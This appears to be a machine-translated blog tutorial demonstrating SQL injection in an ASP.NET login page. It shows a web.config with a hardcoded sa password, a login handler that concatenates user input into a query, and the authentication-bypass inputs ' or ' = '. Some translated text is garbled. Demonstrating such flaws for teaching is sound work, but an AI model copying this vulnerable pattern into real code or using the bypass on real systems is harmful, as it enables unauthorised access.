ASP. NET SQL injection instance sharing

?? ASP. NET SQL injection instance sharing

1.web.config Riga Link Field:

<configuration>  <connectionstrings >    <add name= "myconnectionstring"         connectionstring= "SERVER=10.231.248.177;DATABASE=TESTDB; User Id=sa; password=pa$ $word; Trusted_connection=false; "         Providername= "System.Data.SqlClient"/>  </connectionStrings>

2. Drag several controls in the form:

<form id= "Form1" runat= "Server" >        <asp:label id= "LU" runat= "Server" text= "User Name:" ></asp:label >        <asp:textbox id= "TBU" runat= "Server" ></asp:TextBox>        <br/>        <asp:label id= "LP "runat=" Server "text=" Password: "></asp:Label>        <asp:textbox id=" TBP "runat=" Server "></asp: textbox>        <br/>        <asp:button id= "Login" runat= "server" text= "login" onclick= "Login_click"/>    <div>

3. Write Logon events:

protected void Login_click (object sender, EventArgs e)    {        using (SqlConnection con = new SqlConnection ( webconfigurationmanager.connectionstrings["myConnectionString"]. ConnectionString))        {            con. Open ();            SqlCommand cmd = new SqlCommand ();            Cmd.commandtext = "Select Count (1) from [User] where username= '" + TBU. Text.trim () + "' and password= '" + TBP. Text.trim () + "'";            Cmd.commandtype = CommandType.Text;            Cmd. Connection = con;            int count = (int) cmd. ExecuteScalar ();            Response.Write (Cmd.commandtext);            if (Count > 0)            {                Response.Write ("<script>alert (' Login pass! '); </script> ");            }            else            {                Response.Write ("<script>alert (' Login fail! '); </script> ");}}}    

4. Construct SQL Injection Login:

User name Input: Test ' or ' = '

Password input: ' or ' = '

Other examples of ASP. NET SQL injection, if interested, can be referenced below:

http://www.aspsnippets.com/Articles/ Sql-injection-attack-its-examples-and-prevention-mechanisms-and-techniques-in-aspnet.aspx

Http://www.codeproject.com/Articles/459324/Understading-SQL-Injection-and-Creating-SQL-Inject

Http://blogs.iis.net/nazim/sql-injection-demo

Other SQL injections: http://www.unixwiz.net/techtips/sql-injection.html

Copyright NOTICE: This article for Bo Master original article, without Bo Master permission not reproduced.

ASP. NET SQL injection instance sharing